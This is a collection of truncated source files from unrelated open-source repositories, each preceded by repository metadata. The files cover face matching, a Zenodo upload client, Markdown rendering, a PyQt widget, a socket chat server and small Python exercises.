170f8c663b2eb3282fca74b49edddbd8079a49bf | 1,622 | py | Python | apps/erianet/erianet_predict.py | Obyoxar/RobolabStatistics | 08343ca3ac49df7efdac33692d7cc4b783e851f5 | [
"MIT"
] | 2 | 2017-11-30T21:12:11.000Z | 2017-12-01T07:52:43.000Z | apps/erianet/erianet_predict.py | Obyoxar/RobolabStatistics | 08343ca3ac49df7efdac33692d7cc4b783e851f5 | [
"MIT"
] | 14 | 2017-11-14T18:12:53.000Z | 2018-06-03T16:07:57.000Z | apps/erianet/erianet_predict.py | Obyoxar/RobolabStatistics | 08343ca3ac49df7efdac33692d7cc4b783e851f5 | [
"MIT"
] | 3 | 2018-02-05T10:40:03.000Z | 2018-02-09T09:29:19.000Z | import numpy as np
from robolib.datamanager.siamese_data_loader import load_one_image
from apps.erianet.erianet_util import load_erianet_model, get_3bhif_names
MODEL_FILENAME = "TestModel.model"
CLASS = 6
IMAGE = 3
def match_faces(input_img, ref_class, ref_image_index=4):
reference_img = load_one_image("3BHIF", ... | 33.102041 | 91 | 0.7164 |
005fc3c015912d95d1570915fe6335bdb68e274a | 4,555 | py | Python | src/server/app/repository/AdminPanelRepository.py | MatthiasRiener/DigiPen | 9b4aff4a1c431e06d73733dc3dd3f3f3d4631704 | [
"MIT"
] | null | null | null | src/server/app/repository/AdminPanelRepository.py | MatthiasRiener/DigiPen | 9b4aff4a1c431e06d73733dc3dd3f3f3d4631704 | [
"MIT"
] | null | null | null | src/server/app/repository/AdminPanelRepository.py | MatthiasRiener/DigiPen | 9b4aff4a1c431e06d73733dc3dd3f3f3d4631704 | [
"MIT"
] | null | null | null | from ..db.settings import mongoclient
from ..repository.AuthenticationRepository import AuthenticationRepository
from ..repository.PresentationRepositoryNew import getTotalPresentationsForAdminPage, getNewTotalPresentationsForAdminPage
#from ..repository.PresentationRepository import PresentationRepository
from ..mode... | 37.644628 | 129 | 0.61888 |
006761529a99c8c42d778f524a7fbfeecdf357f2 | 4,872 | py | Python | Prototype/main prototype/NewTab.py | fowado/BauphysikSE1 | eb8805196c8fbf99a879c40c5e0725d740c5a0de | [
"CC-BY-4.0"
] | 4 | 2019-12-03T16:13:09.000Z | 2019-12-11T23:22:58.000Z | Prototype/main prototype/NewTab.py | fowado/BauphysikSE1 | eb8805196c8fbf99a879c40c5e0725d740c5a0de | [
"CC-BY-4.0"
] | 65 | 2019-12-08T17:43:59.000Z | 2020-08-14T15:26:21.000Z | Prototype/main prototype/NewTab.py | fowado/BauphysikSE1 | eb8805196c8fbf99a879c40c5e0725d740c5a0de | [
"CC-BY-4.0"
] | null | null | null | # This Python file uses the following encoding: utf-8
from PyQt5 import QtCore, QtWidgets, QtGui, Qt
import pathlib
class NewTab(QtWidgets.QWidget):
def __init__(self):
QtWidgets.QWidget.__init__(self)
# overall layout of tab
tabLayout = QtWidgets.QHBoxLayout()
tabLayout.setContent... | 41.288136 | 157 | 0.669335 |
00df31ea6e414e078139f32d3372bb8deabb1981 | 790 | py | Python | exercises/de/test_03_10_02.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/de/test_03_10_02.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/de/test_03_10_02.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | def test():
assert Span.has_extension(
"to_html"
), "Hast du die Span-Erweiterung korrekt registriert?"
ext = Span.get_extension("to_html")
assert ext[1] is not None, "Hast du die Methode korrekt angegeben?"
assert (
"method=to_html" in __solution__
), "Hast du die Funktion to_ht... | 37.619048 | 84 | 0.665823 |
c12ede2244a0147407605ab4492368beb1e29d42 | 72 | py | Python | device/programmer.py | hephaisto/serial-can-dump | a3aa3e6e166327ad86b491ca8d89fbcc1090f597 | [
"MIT"
] | 1 | 2016-09-20T20:20:00.000Z | 2016-09-20T20:20:00.000Z | device/programmer.py | hephaisto/serial-can-dump | a3aa3e6e166327ad86b491ca8d89fbcc1090f597 | [
"MIT"
] | null | null | null | device/programmer.py | hephaisto/serial-can-dump | a3aa3e6e166327ad86b491ca8d89fbcc1090f597 | [
"MIT"
] | null | null | null | flags=dict(
#c="arduino",
#P="/dev/ttyUSB0",
#b=57600
c="avrisp2"
)
| 10.285714 | 19 | 0.583333 |
c1ca8987ba53f9bb4308bbcc8835a3164a4e8b6f | 178 | py | Python | examples/heroku/server.py | 5hirish/responder | 1c3ea53e63ede6bd31d76493577250a6105814c4 | [
"Apache-2.0"
] | null | null | null | examples/heroku/server.py | 5hirish/responder | 1c3ea53e63ede6bd31d76493577250a6105814c4 | [
"Apache-2.0"
] | null | null | null | examples/heroku/server.py | 5hirish/responder | 1c3ea53e63ede6bd31d76493577250a6105814c4 | [
"Apache-2.0"
] | null | null | null | import os
import responder
api = responder.API(enable_hsts=True)
@api.route("/")
def route(req, resp):
resp.text = "hello, world!"
api.run(port=int(os.environ["PORT"]))
| 13.692308 | 37 | 0.674157 |
c1d57ae6d51350175a619fdb26d6550d1d10cd0f | 2,640 | py | Python | IGC/VectorCompiler/lib/BiF/Utils/emulation_divrem_boilerplate.py | bader/intel-graphics-compiler | 04f51dc2f3d5047f334da5cb5eebe568480622f5 | [
"MIT"
] | null | null | null | IGC/VectorCompiler/lib/BiF/Utils/emulation_divrem_boilerplate.py | bader/intel-graphics-compiler | 04f51dc2f3d5047f334da5cb5eebe568480622f5 | [
"MIT"
] | null | null | null | IGC/VectorCompiler/lib/BiF/Utils/emulation_divrem_boilerplate.py | bader/intel-graphics-compiler | 04f51dc2f3d5047f334da5cb5eebe568480622f5 | [
"MIT"
] | null | null | null | #=========================== begin_copyright_notice ============================
#
# Copyright (c) 2021-2021 Intel Corporation
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restri... | 37.183099 | 80 | 0.593939 |
c1ffd0dd85018eee585f9cff130b4c58ea4b6526 | 1,265 | py | Python | python/en/archive/books/jump2python/j2p-02_4-tuple.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/books/jump2python/j2p-02_4-tuple.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/books/jump2python/j2p-02_4-tuple.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
j2p-02_4-tuple.py
P.79, 튜플 자료형
"""
#%%#####################
# 튜플은 어떻게 만들까? #
########################
# 튜플은 몇 가지 점을 제외하곤 리스트와 거의 비슷하다.
# 다른 점은
# 1. 튜플은 (,)로 둘러싼다. 리스트는 [,]
# 2. 튜플은 생성된 값을 바꿀 수 없다. 리스트는 가능하다.
# A tuple is immutable wh... | 21.083333 | 65 | 0.375494 |
e7b74d7be02503b1e2381437064d0a3dd2196b71 | 1,430 | py | Python | src/eeg/mri_eeg.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/eeg/mri_eeg.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/eeg/mri_eeg.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
import matplotlib.cbook as cbook
import matplotlib.cm as cm
from matplotlib.collections import LineCollection
from matplotlib.ticker import MultipleLocator
fig = plt.figure("MRI_with_EEG")
# Load the MRI data (256x256 16 bit integers)
with cbook.get_sample_data('s10... | 24.655172 | 73 | 0.705594 |
2e000c6135d07ecac1a21d24c111f6ed62e67734 | 148 | py | Python | src/onegov/town6/theme/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/theme/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/theme/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.town6.theme.town_theme import TownTheme
from onegov.town6.theme.town_theme import user_options
__all__ = ['TownTheme', 'user_options']
| 29.6 | 54 | 0.817568 |
cfd95309a58946139a3659b868c2af15ba493271 | 403 | py | Python | python/test/test_sum_unittest.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/test/test_sum_unittest.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/test/test_sum_unittest.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import unittest
class TestSum(unittest.TestCase):
def test_sum(self):
self.assertEqual(sum([1, 2, 3]), 6, 'Should be 6')
def test_sum_tuple(self):
self.assertEqual(sum((1, 2, 2)), 6, 'Should be 6')
def test_bad_type(self):
data = 'banana'
with self.assertRaises(TypeError... | 20.15 | 58 | 0.600496 |
320008c2b35553430fc8601a7372dd8bda87823d | 51 | py | Python | Python/M02_ProgrammingFundamentals/L01_BasicSyntaxConditionalStatementsAndLoops/Lab/Solutions/P03_WordReverse.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | 3 | 2021-04-06T21:35:50.000Z | 2021-08-07T09:51:58.000Z | Python/M02_ProgrammingFundamentals/L01_BasicSyntaxConditionalStatementsAndLoops/Lab/Solutions/P03_WordReverse.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M02_ProgrammingFundamentals/L01_BasicSyntaxConditionalStatementsAndLoops/Lab/Solutions/P03_WordReverse.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | 1 | 2021-12-02T13:58:21.000Z | 2021-12-02T13:58:21.000Z | word = input()
reverse = word[::-1]
print(reverse)
| 12.75 | 20 | 0.647059 |
5c96c966d75015d9b08de2400c709502fecda0d8 | 2,544 | py | Python | podmianka.py | vvizzo/wqwtf | c3138a59891c25d3fada5960c09fa94ac6199b4b | [
"MIT"
] | null | null | null | podmianka.py | vvizzo/wqwtf | c3138a59891c25d3fada5960c09fa94ac6199b4b | [
"MIT"
] | null | null | null | podmianka.py | vvizzo/wqwtf | c3138a59891c25d3fada5960c09fa94ac6199b4b | [
"MIT"
] | null | null | null | #!/usr/bin/python3
"""
Swap faces between two photos.
"""
import sys
import os
import dlib
from PIL import Image
DETECTOR = dlib.get_frontal_face_detector()
def get_crop(image):
"""
Real face processing, we get clipped face area
and its coordinates
"""
print("Processing file: {}".format(image.fi... | 25.44 | 92 | 0.626965 |
8554288bed82bc4b80d729cd95cfe8383cce3059 | 278 | py | Python | doc/examples/jit_dict.py | fluiddyn/transonic | a460e9f6d1139f79b668cb3306d1e8a7e190b72d | [
"BSD-3-Clause"
] | 88 | 2019-01-08T16:39:08.000Z | 2022-02-06T14:19:23.000Z | doc/examples/jit_dict.py | fluiddyn/transonic | a460e9f6d1139f79b668cb3306d1e8a7e190b72d | [
"BSD-3-Clause"
] | 13 | 2019-06-20T15:53:10.000Z | 2021-02-09T11:03:29.000Z | doc/examples/jit_dict.py | fluiddyn/transonic | a460e9f6d1139f79b668cb3306d1e8a7e190b72d | [
"BSD-3-Clause"
] | 1 | 2019-11-05T03:03:14.000Z | 2019-11-05T03:03:14.000Z | from transonic import jit, wait_for_all_extensions
@jit
def func_dict(d: "str: float dict"):
return d.popitem()
d = {"a": 0, "b": 1}
result = func_dict(d)
wait_for_all_extensions()
d1 = {"a": 0, "b": 1}
result1 = func_dict(d1)
assert d == d1
assert result == result1
| 14.631579 | 50 | 0.658273 |
85a169dc5e67453e2e995dc430ed4b143dc1195c | 111 | py | Python | Online-Judges/CodingBat/Python/Warmup-02/02-front_times.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | 3 | 2021-06-15T01:19:23.000Z | 2022-03-16T18:23:53.000Z | Online-Judges/CodingBat/Python/Warmup-02/02-front_times.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | Online-Judges/CodingBat/Python/Warmup-02/02-front_times.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | def front_times(str, n):
if len(str) <= 3:
front = str
front = str[0:3]
return (front * n)
| 18.5 | 24 | 0.513514 |
a465bcb57fdb87680c57242ae4dfba8d60788120 | 24,157 | py | Python | publ/markdown.py | fluffy-critter/Publ | 868c5a17c605707dde4d1a95d79405301bd12f05 | [
"MIT"
] | 6 | 2018-03-29T02:07:44.000Z | 2018-09-26T00:17:31.000Z | publ/markdown.py | fluffy-critter/Publ | 868c5a17c605707dde4d1a95d79405301bd12f05 | [
"MIT"
] | 82 | 2018-04-01T08:53:59.000Z | 2018-09-28T23:45:05.000Z | publ/markdown.py | fluffy-critter/Publ | 868c5a17c605707dde4d1a95d79405301bd12f05 | [
"MIT"
] | null | null | null | # markdown.py
""" markdown formatting functionality """
# pylint:disable=consider-using-f-string
import html
import logging
import re
import typing
import urllib.parse
import flask
import misaka
import pygments
import pygments.formatters
import pygments.lexers
import slugify
from . import html_entry, image, links, u... | 36.657056 | 98 | 0.567786 |
74dbcc9a76c3e47c1b0dd6418044c707d3a04984 | 1,589 | py | Python | SEsimulation/mDate.py | ThoEngel/rentenplanung | 879c9a678ba1ff951a1f92b0c42673a7943a18e6 | [
"MIT"
] | 3 | 2022-01-01T18:24:46.000Z | 2022-01-08T15:28:46.000Z | SEsimulation/mDate.py | ThoEngel/Finanzen-Simuliert | 879c9a678ba1ff951a1f92b0c42673a7943a18e6 | [
"MIT"
] | null | null | null | SEsimulation/mDate.py | ThoEngel/Finanzen-Simuliert | 879c9a678ba1ff951a1f92b0c42673a7943a18e6 | [
"MIT"
] | null | null | null | class mDate:
""" date class only with month and year
Attributes:
self.Month: Month of date
self.Year: Year of dat
"""
def __init__(self, Month, Year):
self.Month = Month
self.Year = Year
def DateInc(self):
if self.Month >= 12:
self.Month = 1
... | 25.222222 | 76 | 0.543109 |
74ea77973ae51483a9cb0e1de82d2cf3d78254d6 | 1,122 | py | Python | docker/django/restaurant/restapi/migrations/0001_initial.py | gitmehedi/cloudtuts | 3008b1cf7fbf22728c9bb2c059c4bd196043a93e | [
"Unlicense"
] | 3 | 2019-08-29T10:14:40.000Z | 2021-03-05T09:50:15.000Z | docker/django/restaurant/restapi/migrations/0001_initial.py | gitmehedi/cloudtuts | 3008b1cf7fbf22728c9bb2c059c4bd196043a93e | [
"Unlicense"
] | null | null | null | docker/django/restaurant/restapi/migrations/0001_initial.py | gitmehedi/cloudtuts | 3008b1cf7fbf22728c9bb2c059c4bd196043a93e | [
"Unlicense"
] | 1 | 2021-03-05T09:50:29.000Z | 2021-03-05T09:50:29.000Z | # Generated by Django 3.2 on 2021-12-26 15:02
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='RestaurantModel',
fields=[
... | 33 | 128 | 0.582888 |
562077f1951d0bb6c7c823316fd1ccdc80997351 | 2,963 | py | Python | netease/first_param.py | FelixLukk/netease_music_cat | 97f4487e74e09661a1dd46b7b00c01845311436b | [
"MIT"
] | 2 | 2020-02-20T18:05:45.000Z | 2020-02-22T06:40:52.000Z | netease/first_param.py | FelixLukk/netease_music_cat | 97f4487e74e09661a1dd46b7b00c01845311436b | [
"MIT"
] | 1 | 2021-06-01T23:45:58.000Z | 2021-06-01T23:45:58.000Z | data_acquire_store/netease/first_param.py | PatrickNgZh/RecommenderSystem | 0dbd3ac05ca8c1b5948a2605f1a9407f1ec59d39 | [
"Apache-2.0"
] | 1 | 2020-03-17T09:17:18.000Z | 2020-03-17T09:17:18.000Z | # !/usr/bin/env python
# -*- coding: utf-8 -*-
# author: humingk
# ----------------------
import json
import config
class first_param:
"""
decrypt类中第一个请求参数的获取
"""
def get_first_param_weapi_comment(self, offset=config.aes_offset, limit=config.song_comments_page_limit):
"""
歌曲评论参数
... | 28.76699 | 119 | 0.578468 |
3b82cb3e5f1e096cbbc9f2ea8bf6caf652c41cf0 | 111 | py | Python | hello.py | oraarthornsombat/cs3240-labdemo | 0fcc4a53f10d48ccfacce03b1ee2cedac4e63a81 | [
"MIT"
] | null | null | null | hello.py | oraarthornsombat/cs3240-labdemo | 0fcc4a53f10d48ccfacce03b1ee2cedac4e63a81 | [
"MIT"
] | null | null | null | hello.py | oraarthornsombat/cs3240-labdemo | 0fcc4a53f10d48ccfacce03b1ee2cedac4e63a81 | [
"MIT"
] | null | null | null | #Ora Arthornsombat
# CS 3240 - Github Lab
import helper
if __name__=="__main__":
helper.greeting("hello") | 15.857143 | 28 | 0.720721 |
8df87998bec8a9ac4a1f89ccdc7280c113df5587 | 192 | py | Python | webapp/wine_dash/app.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | webapp/wine_dash/app.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | webapp/wine_dash/app.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import dash
import dash_bootstrap_components as dbc
app = dash.Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP])
server = app.server
app.config.suppress_callback_exceptions = True
| 24 | 70 | 0.828125 |
5c29a4db7a002f0c4778ef852142714da739c322 | 12,597 | py | Python | RDS/circle1_adapters_and_ports/port_zenodo/src/lib/upload_zenodo.py | Sciebo-RDS/Sciebo-RDS | d71cf449ed045a2a7a049e2cb77c99fd5a9195bd | [
"MIT"
] | 10 | 2020-06-24T08:22:24.000Z | 2022-01-13T16:17:36.000Z | RDS/circle1_adapters_and_ports/port_zenodo/src/lib/upload_zenodo.py | Sciebo-RDS/Sciebo-RDS | d71cf449ed045a2a7a049e2cb77c99fd5a9195bd | [
"MIT"
] | 78 | 2020-01-23T14:32:06.000Z | 2022-03-07T14:11:16.000Z | RDS/circle1_adapters_and_ports/port_zenodo/src/lib/upload_zenodo.py | Sciebo-RDS/Sciebo-RDS | d71cf449ed045a2a7a049e2cb77c99fd5a9195bd | [
"MIT"
] | 1 | 2020-06-24T08:33:48.000Z | 2020-06-24T08:33:48.000Z | import requests
import json
import os
import logging
from flask import abort
import functools
import time
log = logging.getLogger()
def _rate_limit(func=None, per_second=1):
"""Limit number of requests made per second.
Will sleep for 1/``per_second`` seconds if the last request was
made too recently.
... | 33.681818 | 116 | 0.581567 |
30faf2b735748e08fa99b7cd17afde4a335c2a7a | 33 | py | Python | parser/__init__.py | kitchenprinzessin3880/zucchini | d0e01b68c79bc8c6aa60452effb4e113b5553404 | [
"MIT"
] | null | null | null | parser/__init__.py | kitchenprinzessin3880/zucchini | d0e01b68c79bc8c6aa60452effb4e113b5553404 | [
"MIT"
] | null | null | null | parser/__init__.py | kitchenprinzessin3880/zucchini | d0e01b68c79bc8c6aa60452effb4e113b5553404 | [
"MIT"
] | null | null | null | __author__ = 'Anusuriya Devaraju' | 33 | 33 | 0.818182 |
eb6b2da6cf25b7e3a52174292540da4686ac827a | 963 | py | Python | web/dockletreq/dockletrequest.py | liukai0322/docklet | 9e4d1f4fc2e523423b0e94406242a29b20643788 | [
"BSD-3-Clause"
] | 1 | 2016-05-31T06:52:53.000Z | 2016-05-31T06:52:53.000Z | web/dockletreq/dockletrequest.py | liukai0322/docklet | 9e4d1f4fc2e523423b0e94406242a29b20643788 | [
"BSD-3-Clause"
] | null | null | null | web/dockletreq/dockletrequest.py | liukai0322/docklet | 9e4d1f4fc2e523423b0e94406242a29b20643788 | [
"BSD-3-Clause"
] | null | null | null | import requests
import json
from flask import abort
from flask import session
class dockletRequest():
#endpoint = "http://192.168.192.64:9000"
endpoint = "http://0.0.0.0:9000"
@classmethod
def post(self, url = '/', data = {}):
#try:
data = dict(data)
data['token'] = session['to... | 31.064516 | 108 | 0.570093 |
ccfbf53d919730431ac4b64ba1b97abd4d0b7f1f | 483 | py | Python | aoc2020/day_02/part_1.py | en0/aoc2020 | a2f41b909dffe1f366682b3d03fd5fbdbc924ec0 | [
"MIT"
] | null | null | null | aoc2020/day_02/part_1.py | en0/aoc2020 | a2f41b909dffe1f366682b3d03fd5fbdbc924ec0 | [
"MIT"
] | null | null | null | aoc2020/day_02/part_1.py | en0/aoc2020 | a2f41b909dffe1f366682b3d03fd5fbdbc924ec0 | [
"MIT"
] | null | null | null | from aoc2020 import *
class Solution(SolutionABC):
""" How many passwords are valid according to their policies? """
expected = 2
def solve(self) -> any:
return sum(self.resource_lines("input", self.check_pw))
@classmethod
def check_pw(cls, line: str):
policy, pw = line.split(':... | 26.833333 | 71 | 0.608696 |
2442546f0a7793b532752d03c025ca69f118363d | 1,035 | py | Python | IVTp/2014/TITOV_S_G/task_7_22.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTp/2014/TITOV_S_G/task_7_22.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTp/2014/TITOV_S_G/task_7_22.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 7. Вариант 22.
# Разработайте систему начисления очков для задачи 6, в соответствии с которой игрок получал бы большее количество баллов за меньшее количество попыток.
# Titov S.G.
# 11.04.2016
import random
print ("Программа случайным образом загадывает имена двух братьев, легендарных основателей Рима, а и... | 26.538462 | 152 | 0.650242 |
030ab24a956e1c8c3558fd87f705cdb64ba9dbce | 2,023 | py | Python | aecb/api/serializers.py | snvc00/aecb-backend | 96847008d7b8d986099c0ce08e1026926ef3c68d | [
"MIT"
] | null | null | null | aecb/api/serializers.py | snvc00/aecb-backend | 96847008d7b8d986099c0ce08e1026926ef3c68d | [
"MIT"
] | null | null | null | aecb/api/serializers.py | snvc00/aecb-backend | 96847008d7b8d986099c0ce08e1026926ef3c68d | [
"MIT"
] | null | null | null | from rest_framework import serializers
from .models import Client, CreditCard, Employee, Account, Insurance, PreapprovalRequest, Promotion, Report
class ClientSerializer(serializers.ModelSerializer):
class Meta:
model = Client
fields = "__all__"
class AccountSerializer(serializers.ModelSerialize... | 25.2875 | 107 | 0.691053 |
301df59fe4cfc72013ee6967eeb2ab63f8f9183e | 1,287 | py | Python | misc/911/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 11 | 2019-02-08T06:54:34.000Z | 2021-08-07T18:57:39.000Z | misc/911/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 1 | 2019-05-21T08:14:10.000Z | 2019-05-21T08:14:10.000Z | misc/911/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | null | null | null | def count_non_emergency_numbers(n):
"""
Compute the number of n-digit numbers (not starting with 0) that do not
contain "911".
"""
a = []
for m in range(n+1):
max_k = m // 3
c = [10**m] + [0]*n
for k in range(1, max_k+1):
cnt = 0
for i in range(m-3... | 23.4 | 77 | 0.512821 |
0699a408e4eaf694f119f257e376816fc6e25336 | 835 | py | Python | src/python3_learn_video/sequence_Custom.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | src/python3_learn_video/sequence_Custom.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | src/python3_learn_video/sequence_Custom.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | """
协议是什么?
协议(Protocols) 与其他编程语言中的接口很相似,它规定你哪些方法必须要定义。然而,在Python中的协议就显得不那么正式。事实上,在Python中,协议更像是一种指南。
容器类型的协议:
如果说你希望定制的容器是不可变的话,你只需要定义__len__()和__getitem__()方法
如果你希望定制的容器是可变的话,除了__len__()和__getitem__()方法,你还需要定义__setitem__()和__delitem__()两个方法
"""
"""
练习要求:
编写一个不可改变的自定义列表,要求记录列表中每个元素被访问的次数
"""
class CountList:... | 18.555556 | 89 | 0.589222 |
ebf5e946746c65b88e00e4f77044c76f6383776e | 3,329 | py | Python | skimind/kernel/useCases/homeView/main.py | NathBangwa/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | 1 | 2020-11-13T18:30:47.000Z | 2020-11-13T18:30:47.000Z | skimind/kernel/useCases/homeView/main.py | nathanbangwa243/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | 5 | 2020-11-13T18:16:48.000Z | 2021-09-08T01:04:59.000Z | skimind/kernel/useCases/homeView/main.py | nathanbangwa243/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | null | null | null | #-coding: utf-8 -*-
# tools
import pandas as pd
import numpy as np
# interfacedb
from . import interfacedb
# datetime
import datetime
class HomeView:
DATE_TIME_COL = 'datetime'
MATCH_STATUS = 'status' # etat du match
# started
# nostarted
STARTED... | 26.846774 | 126 | 0.625713 |
88d5686bc63e1c4b2300b9baf90e39d5a2179187 | 4,182 | py | Python | server.py | inspurer/SocketQQ | 2d34e797106cb9e74ec79d46582ed3942de46d7f | [
"Apache-2.0"
] | 5 | 2019-03-04T01:08:23.000Z | 2020-11-10T11:35:20.000Z | server.py | inspurer/SocketQQ | 2d34e797106cb9e74ec79d46582ed3942de46d7f | [
"Apache-2.0"
] | null | null | null | server.py | inspurer/SocketQQ | 2d34e797106cb9e74ec79d46582ed3942de46d7f | [
"Apache-2.0"
] | 1 | 2019-04-06T03:39:10.000Z | 2019-04-06T03:39:10.000Z | # -*- coding: utf-8 -*-
# author: inspurer(月小水长)
# pc_type lenovo
# create_date: 2018/12/15
# file_name: server.py
# description: 月小水长,热血未凉
from socket import *
from threading import Thread
import time
import json
serverIp = "10.10.21.222"
serverPort = 6789
connectionSocketList = ... | 35.142857 | 102 | 0.519608 |
cc6269964c19eb77ae70fa818722ca3419cf44fb | 92 | py | Python | 2015/03/family-income-quintile-20150309/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 14 | 2015-05-08T13:41:51.000Z | 2021-02-24T12:34:55.000Z | 2015/03/family-income-quintile-20150309/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | null | null | null | 2015/03/family-income-quintile-20150309/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 7 | 2015-04-04T04:45:54.000Z | 2021-02-18T11:12:48.000Z | #!/usr/bin/env python
COPY_GOOGLE_DOC_KEY = '1nou83rf4o96EDLhGvLjvext4k2zH7l5MbtID-Av3gwk'
| 23 | 68 | 0.836957 |
cc8680e085e2b507aa5eca809b0e6717a3e81931 | 7,214 | py | Python | src/onegov/election_day/formats/common.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/formats/common.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/formats/common.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import re
from onegov.core.csv import convert_excel_to_csv
from onegov.core.csv import CSVFile
from onegov.core.errors import AmbiguousColumnsError
from onegov.core.errors import DuplicateColumnNamesError
from onegov.core.errors import EmptyFileError
from onegov.core.errors import EmptyLineInFileError
from onegov.core... | 31.094828 | 78 | 0.590934 |
9d6bda71685815ebc6806be1cb5b4aedf794e2a5 | 854 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v10_0/update_translatable_fields.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v10_0/update_translatable_fields.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v10_0/update_translatable_fields.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | #-*- coding: utf-8 -*-
from __future__ import unicode_literals
import frappe
def execute():
'''
Enable translatable in these fields
